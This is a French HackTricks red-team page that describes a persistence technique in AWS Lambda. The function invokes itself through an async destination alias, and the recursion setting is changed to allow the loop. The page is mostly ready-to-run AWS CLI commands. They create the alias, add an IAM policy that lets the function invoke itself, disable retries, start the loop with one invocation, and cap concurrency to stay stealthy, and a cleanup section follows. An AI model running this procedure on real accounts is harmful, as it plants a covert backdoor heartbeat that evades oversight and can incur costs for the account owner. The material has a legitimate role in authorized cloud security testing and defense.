AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Abusez des Destinations asynchrones de Lambda conjointement avec la configuration Recursion pour faire en sorte qu'une fonction se ré-invoque continuellement sans ordonnanceur externe (pas d'EventBridge, cron, etc.). Par défaut, Lambda termine les boucles récursives, mais définir la config Recursion sur Allow les réactive. Les Destinations livrent cÎté service pour les invocations async, donc une seule invocation initiale crée un canal furtif de heartbeat/backdoor sans code. Optionnellement, limitez avec reserved concurrency pour maintenir le bruit faible.

Remarques

  • Lambda n'autorise pas la configuration de la fonction pour qu'elle soit directement sa propre destination. Utilisez un function alias comme destination et autorisez l'execution role Ă  invoke cet alias.
  • Permissions minimales : capacitĂ© Ă  lire/mettre Ă  jour l'event invoke config et la recursion config de la fonction cible, publier une version et gĂ©rer un alias, et mettre Ă  jour la execution role policy de la fonction pour autoriser lambda:InvokeFunction sur l'alias.

Exigences

  • RĂ©gion: us-east-1
  • Vars:
  • REGION=us-east-1
  • TARGET_FN=

Étapes

  1. Obtenir l'ARN de la fonction et le paramĂštre Recursion actuel
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
  1. Publier une version et crĂ©er/mettre Ă  jour un alias (utilisĂ© comme destination vers soi‑mĂȘme)
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
  1. Autoriser le rĂŽle d'exĂ©cution de la fonction Ă  invoquer l'alias (requis par Lambda Destinations→Lambda)
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
  1. Configurer la destination asynchrone vers l'alias (self via alias) et désactiver les réessais
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION

# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
  1. Autoriser les boucles récursives
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
  1. Amorcer une seule invocation asynchrone
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
  1. Observer des invocations continues (exemples)
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
  1. Limitation discrĂšte optionnelle
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION

Nettoyage

Interrompre la loop et supprimer la persistence.

aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true

Impact

  • Un seul async invoke provoque que Lambda se rĂ©-invoke continuellement sans ordonnanceur externe, permettant une persistence/heartbeat furtive. Reserved concurrency peut limiter le bruit Ă  une seule warm execution.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks